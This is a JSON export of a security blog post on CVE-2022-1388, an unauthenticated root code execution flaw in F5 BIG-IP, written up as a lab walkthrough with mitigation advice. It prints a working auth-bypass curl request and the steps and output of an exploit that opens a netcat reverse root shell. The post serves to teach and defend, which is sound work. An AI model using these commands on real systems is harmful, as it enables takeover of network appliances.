{"id":1263,"date":"2022-06-08T20:05:17","date_gmt":"2022-06-08T12:05:17","guid":{"rendered":"\/?p=1263"},"modified":"2022-06-08T20:05:17","modified_gmt":"2022-06-08T12:05:17","slug":"big-ip-icontrol-rest-remote-code-execution-cve-2022-1388","status":"publish","type":"post","link":"https:\/\/www.insecurewi.re\/index.php\/2022\/06\/08\/big-ip-icontrol-rest-remote-code-execution-cve-2022-1388\/","title":{"rendered":"Big-IP iControl REST Remote Code Execution – CVE-2022-1388"},"content":{"rendered":"

So yeah, I’m late to the party on this one. The latest in a long list of alarming <\/strong>software bugs in F5’s BIG-IP software is CVE-2022-1388. This time an attacker can send an unauthenticated post to the management interface (or self ip address) and execute remote code as root. Did I mention this was bad? \ud83d\ude1b
\nTo detail my point – here is the http POST that has been doing the rounds on twitter:
\n$ curl -i -s -k -X $'POST' \\
\n-H $'Host: :8443' \\
\n-H $'Authorization: Basic YWRtaW46' \\
\n-H $'Connection: keep-alive, X-F5-Auth-Token' \\
\n-H $'X-F5-Auth-Token: 0' \\
\n-H $'Content-Length: 52' \\
\n--data-binary $'{\\\"command\\\": \\\"run\\\" , \\\"utilCmdArgs\\\": \\\" -c \\'id\\' \\\" }\\x0d\\x0a' \\
\n$'https:\/\/:8443\/mgmt\/tm\/util\/bash' --proxy http:\/\/127.0.0.1:8080<\/code>
\nOuch.<\/p>\n

Lets get to labbing this one. As always make sure you have permission or better still setup a private lab like I do:<\/p>\n

Lab<\/strong>
\nFor this lab I am using a F5 Big-IP 13.x VM which is vulnerable to CVE-2022-1388
\nVM has a management interface (192.168.1.1\/24) and a self ip interface (192.168.1.100\/24).
\nThe attacker VM is running Kali and is IP 192.168.1.10.
\n1. Download the exploit with wget from here<\/a>.
\n2. Chmod the exploit file:
\nchmod +x CVE-2022-1388.py<\/code>
\n2. Open up a terminal window on Kali and setup your netcat listener:
\nnc -lvp 4444<\/code>
\n3. Open up another terminal and setup the exploit, press enter to execute:
\npython3 CVE-2022-1388.py https:\/\/192.168.1.100\/ 192.168.1.10 4444<\/code>
\nBe sure to use a trailing slash on the vulnerable F5 target<\/em>
\n4. Profit! Switch back to your netcat window and you should be root:
\n$ nc -lvp 4444
\nNcat: Version 7.91 ( https:\/\/nmap.org\/ncat )
\nNcat: Listening on :::4444
\nNcat: Listening on 0.0.0.0:4444
\nNcat: Connection from 192.168.1.100.
\nNcat: Connection from 192.168.1.100:53854.
\nbash: no job control in this shell
\n[@f5-demo:Active:Standalone] restjavad # whoami
\nwhoami
\nroot
\n[@f5-demo:Active:Standalone] restjavad #<\/code><\/p>\n

\"F5<\/a>
\nKeep in mind in this example, the F5 Self IP was targeted. I didn’t even need access to the mgmt interface. It’s important to point that out as both scenarios should be considering when securing the F5 Big-IP appliance.<\/p>\n

Mitigation<\/strong>
\n1. Patch the appliance for the version of Big-IP you are running as per the KB here<\/a>.
\n2. Limit the IP addresses that can talk to the management interface<\/a> via https and ssh.
\n3. Disable layer 4 ports on the self-ip addresses if you are not using them. Also known as port lockdown<\/a> in F5 terms.
\nNo need for me to detail how to do these tasks, the links above show you in full detail and are straight forward to follow for anyone who has a moderate level of experience with F5 Big-IP.<\/p>\n","protected":false},"excerpt":{"rendered":"

So yeah, I’m late to the party on this one. The latest in a long list of alarming software bugs in F5’s BIG-IP software is…<\/p>\n","protected":false},"author":2,"featured_media":1269,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2,27,3],"tags":[59,84,101],"class_list":["post-1263","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-datacentre","category-f5","category-load-balancer","tag-big-ip","tag-cve-2022-1388","tag-f5"],"acf":[],"yoast_head":"\nBig-IP iControl REST Remote Code Execution - CVE-2022-1388 - Insecure Wire<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.insecurewi.re\/index.php\/2022\/06\/08\/big-ip-icontrol-rest-remote-code-execution-cve-2022-1388\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Big-IP iControl REST Remote Code Execution - CVE-2022-1388 - Insecure Wire\" \/>\n<meta property=\"og:description\" content=\"So yeah, I’m late to the party on this one. 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